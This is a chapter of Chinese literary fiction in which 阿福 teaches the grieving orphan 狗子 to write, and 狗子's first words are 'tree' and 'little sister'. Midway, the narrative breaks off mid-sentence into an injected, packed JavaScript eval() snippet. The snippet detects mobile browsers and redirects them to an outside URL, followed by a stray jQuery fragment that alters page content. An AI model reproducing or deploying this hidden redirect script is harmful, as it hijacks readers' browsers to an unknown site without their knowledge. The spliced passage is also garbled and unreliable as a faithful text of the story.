狗子第三天又去了那棵树底下。
和前两天一样，抱着那个空包袱，蹲在那儿，看着那棵树。不看别处，就看着那棵树。有时候看很久，有时候看一会儿就低头，不知道在想什么。
阿福从屋里出来的时候，看见他蹲在那儿。
他站了一会儿，然后走过去，在狗子旁边蹲下。
狗子没看他。还是看着那棵树。
阿福也没说话。就蹲着，看着那棵树。
两个人蹲了很久。
狗子忽然开口。
“你蹲这儿干什么？”
阿福说：“陪你蹲着。”
狗子愣了一下。他转过头，看着阿福。
阿福也看着他。
狗子又把头转回去，看着那棵树。
“不用陪。”他说。
阿福说：“我想陪。”
狗子没说话。
又蹲了一会儿，狗子忽然问：
“你昨天教石头写字了？”
阿福点了点头。
“他写得好吗？”
阿福想了想。
“他写得很认真。”他说，“认真比好重要。”
狗子低下头，看着怀里的空包袱。
“我学不会。”他说。
阿福看着他。
“你试过吗？”
狗子没回答。
阿福说：“你没试过，怎么知道学不会？”
狗子还是没说话。
阿福也不催。他就蹲着，等着。
过了很久，狗子开口了。
“我小时候，”他说，“也想过学东西。”
阿福看着他。
狗子继续说：
“我娘说，等日子好过了，就送我去学堂。后来日子没好过。后来我娘死了。后来我妹妹也死了。”
他的声音很平，平得像在说别人的事。
“我没进过学堂。我不认识字。我什么都不认识。”
阿福没说话。
狗子转过头，看着他。
“你认识那么多字，有什么用？”
阿福愣了一下。
他不知道怎么回答。
狗子也没等他回答。他站起来，抱着空包袱，走了。
阿福蹲在那儿，看着他的背影，看了很久。
---
那天下午，阿福去找石头。
石头蹲在柴房旁边，正在本子上写字。看见阿福过来，他抬起头。
“阿福叔。”
阿福在他旁边蹲下。
“石头，”他说，“我问你一件事。”
石头等着。
阿福说：“狗子为什么不肯学写字？”
石头想了想。
“他怕。”他说。
阿福愣了一下。
“怕什么？”
石头低下头，看着自己的本子。
“怕学了也没用。”他说，“怕学了，还是活不了。”
阿福没说话。
石头继续说：
“我以前也怕。刚来的时候，什么都不想做。反正都要死，做什么都一样。”
他抬起头，看着阿福。
“后来阿钝哥教我。他说，活着，就得做点什么。”
阿福看着他。
“你现在还怕吗？”
石头想了想。
“怕。”他说，“但做的时候，就不想了。”
---
那天晚上，阿福又坐在那棵树底下。
月亮很亮，照得那棵树的叶子泛着光。他拿着本子，想写点什么，但写不出来。
他在想狗子那句话。
“你认识那么多字，有什么用？”
他想起冯道送他来的时候说的话。
“我养了他十二年。读书，写字，算数，他都学会了。但他不会活。”
他以前不懂什么叫“不会活”。他觉得自己活着。吃饭，睡觉，走路，说话，都好好的。怎么叫不会活？
现在他好像有点懂了。
不会活，就是不知道自己能干什么。不知道自己有什么用。不知道活着是为了什么。
他认识那么多字。有什么用？
他不知道。
但他想起阿钝说的话。
“你能记。你就记着。”
他想起石头说的话。
“做的时候，就不想了。”
他低下头，看着本子。
然后他站起来，往屋里走。
---
狗子还没睡。
他躺在床上，抱着那个空包袱，看着屋顶。月光从窗户照进来，照在他脸上，照出一道白白的印子。
门被推开了。
阿福走进来，站在床边。
狗子看着他。
阿福说：“我想跟你说件事。”
狗子没说话。
阿福在床边坐下。
“你白天问我，”他说，“认识那么多字，有什么用。”
狗子看着他。
阿福想了想。
“我不知道。”他说，“真的不知道。”
狗子愣了一下。
阿福继续说：
“我来这儿之前，没饿过，没怕过，没死过。我不知道你们是怎么活的。我也不知道我那些字，有什么用。”
他看着狗子。
“但我想试试。”
狗子没说话。
阿福从怀里摸出那个本子，翻开，递给他。
“你看。”他说。
狗子接过去看。月光不太亮，但他能看清那些字。整整齐齐的，一笔一划。
**狗子今天蹲在树下。他问我认识那么多字有什么用。我不知道怎么回答。**
**但我后来想，也许认识字，可以帮人记住一些事。比如狗子每天看的那棵树。比如石头攥的那块石头。比如阿钝教人看机器的样子。**
**这些事，没人记，就忘了。**
狗子看着那些字，看了很久。
然后他把本子还给阿福。
“你记这些干什么？”他问。
阿福说：“怕你们忘了。”
狗子愣了一下。
“我们？”他问，“我们忘什么？”
阿福想了想。
“忘你们是怎么活的。”他说，“忘那些死了的人。忘那棵树底下埋着什么。”
狗子没说话。
他看着阿福，看着那张在月光下看不清表情的脸。
过了很久，他忽然开口。
“你教我。”他说。
阿福愣住了。
“什么？”
狗子说：“教我写字。”
他低下头，看着怀里的空包袱。
“我不想忘。”他说。
---
第二天早上，狗子去找阿福。
他抱着那个空包袱，站在阿福面前，看着他。
阿福也看着他。
狗子说：“我来了。”
阿福点了点头。
他从怀里摸出一个本子——不是他自己的那个，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17401640|200419||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是一个新的，空白的。还有一截炭笔，比石头那截长一点。
他把本子和炭笔递给狗子。
狗子接过去，看着那个空白的本子，看了很久。
“写什么？”他问。
阿福说：“写你想写的。”
狗子想了想。
他拿起炭笔，在本子上慢慢写。
一笔，一划，很慢，很用力。
写完了，他抬起头，看着阿福。
阿福低头看那行字。
歪歪扭扭的，有的笔画挤在一起，有的散得老远。但他认出来了。
**树。**
狗子写的是“树”。
阿福抬起头，看着狗子。
狗子也看着他。
“我写对了没？”狗子问。
阿福点了点头。
“对了。”他说。
狗子低下头，又看着那个字。
看了一会儿，他又拿起炭笔，在旁边写了一个。
**妹妹。**
阿福看着那两个字，没说话。
狗子写完，把本子合上，揣进怀里。他抱着那个空包袱，站起来，往那棵树那边走。
走了几步，他停下来。
没回头。
“阿福。”他说。
阿福愣了一下。这是狗子第一次叫他名字，没加“叔”。
“嗯。”
狗子说：“谢谢你。”
他走了。
阿福蹲在那儿，看着他的背影，看了很久。
---
那天下午，石头发现狗子也在写字。
他蹲在狗子旁边，看着狗子一笔一划地写。写得慢，写得用力，但写得认真。
石头问：“狗子哥，你写什么？”
狗子说：“写树。”
石头看着那个“树”字，歪歪扭扭的，但他认出来了。
“好看。”他说。
狗子愣了一下。
“好看？”
石头点了点头。
“你写的，好看。”
狗子没说话。
但他低下头，又写了一个。
---
阿钝站在远处，看着他们。
阿福蹲在狗子旁边，石头蹲在狗子另一边。三个人挤在一起，低头看着一个本子。
他看了一会儿，然后转身走了。
阿箬在院子里磨刀。看见他过来，抬起头。
“看什么？”
阿钝说：“看他们写字。”
阿箬低下头，继续磨刀。
“会写就好。”她说。
阿钝在她旁边蹲下。
“阿箬姐，你会写字吗？”
阿箬的手停了一下。
“不会。”她说。
阿钝问：“想学吗？”
阿箬没说话。
她继续磨刀。一下，一下。
阿钝也没再问。
但他知道，阿箬那一下停，就是答案。
---
远处传来火车的汽笛声。
呜——
很长，很远。
阿钝抬起头，往北边看了一眼。
什么也没有。只有灰蒙蒙的天，和看不见的远方。
但他知道，那边有一个人。
那个人说夏天回来。
那个人说“你们小心”。
火车开过来了。
日子还在往下过。
有人在写字，有人在磨刀，有人在等夏天。
---